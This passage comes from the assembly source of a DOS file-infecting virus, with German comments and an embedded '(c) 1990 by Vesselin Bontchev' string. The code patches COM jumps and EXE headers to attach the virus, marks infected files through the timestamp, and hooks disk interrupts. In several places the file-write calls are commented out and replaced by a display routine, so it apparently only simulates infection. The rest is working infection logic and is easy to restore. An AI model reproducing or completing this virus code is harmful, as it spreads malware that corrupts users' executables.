AX,0A80h ; = 2688d ADC DX,+00h JZ J0082F RETN ;----------------------------------------------------- SeekCodeStart: MOV DX,Word Ptr DS:[SI+18h] MOV Byte Ptr DS:[SI-0Ah],DL NEG DL AND DX,+0Fh XOR CX,CX MOV AX,4201h INT 21H ; Seek ($ + CX:DX) MOV Word Ptr DS:[SI+18h],AX MOV Word Ptr DS:[SI+1Ah],DX ;-------------------------------------------------- ; Infektion erfolgt hier ;-------------------------------------------------- J0082F: MOV AX,5700h ; Hole File-Datum/Uhrzeit INT 21H PUSHF PUSH CX PUSH DX MOV DI,Offset OldCode-Offset FirstByte PUSH SI ; Si zeigt auf 'MZ' MOVSB ; 3 byte sichern MOVSW ADD SI,+11h MOVSW ; 4 byte sichern MOVSW SUB SI,+0Ah ; MOVSW ; nochmal 4 byte sichern MOVSW POP SI XOR DX,DX MOV CX,Offset VirusEnde-Offset FirstByte ;------------------------------------------ ; MOV AH,40h ; SCHREIBE ; INT 21H ;======( eingefügt )======================= PUSH CX CALL DISPLAYACTIVITY POP AX ;========================================== ;------------------------------------------ JB J0086A XOR CX,AX JNZ J0086E MOV CL,Byte Ptr DS:[SI-0Ah] AND CL,0Fh TEST CX,CX JNZ J00863 MOV CL,10h J00863: MOV DX,0000h ;------------------------------------------ ; MOV AH,40h ; SCHREIBE ; INT 21H ;======( eingefügt )======================= PUSH CX CALL DISPLAYACTIVITY POP AX ;========================================== ;------------------------------------------ J0086A: JB SetFileAsInfected XOR CX,AX J0086E: JNZ SetFileAsInfected MOV DX,CX MOV AX,4200h INT 21H ; DOS Function Call CMP WORD PTR DS:[SI],'MZ' JZ J0088E ;----------------------------( Korrektur des COM-Starts )----- MOV BYTE PTR DS:[SI],0E9H MOV AX,WORD PTR DS:[SI+18h] ADD AX,004Ah MOV WORD PTR DS:[SI+01h],AX MOV CX,0003h JMP SHORT J008DC ;----------------------------( Korrektur des EXE-Headers )---- J0088E: CALL J008EF NOT AX NOT DX INC AX JNZ J00899 INC DX J00899: ADD AX,WORD Ptr DS:[SI+18h] ADC DX,WORD Ptr DS:[SI+1Ah] MOV CX,0010h DIV CX MOV WORD Ptr DS:[SI+14h],004Dh MOV WORD Ptr DS:[SI+16h],AX ADD AX,0083h MOV WORD Ptr DS:[SI+0Eh],AX MOV WORD Ptr DS:[SI+10h],0100h ADD WORD Ptr DS:[SI+18h],Offset VirusEnde-Offset FirstByte ADC WORD Ptr DS:[SI+1Ah],+00h MOV AX,WORD Ptr DS:[SI+18h] AND AX,01FFh MOV WORD Ptr DS:[SI+02h],AX PUSHF MOV AX,WORD Ptr DS:[SI+19h] SHR BYTE Ptr DS:[SI+1Bh],1 RCR AX,1 POPF JZ J008D6 INC AX J008D6: MOV WORD Ptr DS:[SI+04h],AX MOV CX,0018h ; Länge des EXE-Headers ; J008DC: MOV DX,SI ;------------------------------------------ ; MOV AH,40h ; SCHREIBE ; INT 21H ;======( eingefügt )======================= CALL DISPLAYACTIVITY ;========================================== ;------------------------------------------ SetFileAsInfected: POP DX ; Hole File-Datum/Uhrzeit vom Stack POP CX POPF JB J008F7 OR CL,1Fh ; Set File-Uhrzeit, Sekunde auf 62 ! MOV AX,5701h INT 21H J008EF: MOV AX,WORD Ptr DS:[SI+08h] J008F2: MOV DX,0010h MUL DX J008F7: RETN ;----------------------------------------------------- DB "(c) 1990" DB " by Vesselin " BontChev DB "Bontchev" DB 00h ;----------------------------------------------------- VirInt13H: CMP AH,03h ; Write Sektors JNZ INT13H CMP DL,80h ; festplatte ?? JNB Int13JMP Int13ROM_Entry: DB 0EAH DW 0 DW 0 ; JMP 0000:0000 ; 920 ;----------------------------------------------------- Int13JMP: DB 0EAh DW 0 DW 0 ; JMP 0000:0000 ; 925 ;----------------------------------------------------- INT13H: DB 0EAH DW 0 DW 0 ; JMP 0000:0000 ; 92A ;----------------------------------------------------- OldCode: INT 20 ; Terminate a COM program INT 3 IP_init: DW 0100h CS_Init: DW 0 SS_INIT: DW 0 SP_INIT: DW 0 Generation: DW 0 ;----------------------------- mehr wird nicht weggeschrieben - Virusende: ;-------------------------------------------------------------- DW ? J0093E: DW ? DW 27 DUP (?) DOS_Version: DB ? Bontchev_Flag: DB ? INT27H: DD ? INT21H: DD ? Buffer: FilePuffer: @Stack EQU $ + 80H ;-------------------------------------------------------------- code ENDS END start ;--------------------------------------------------------------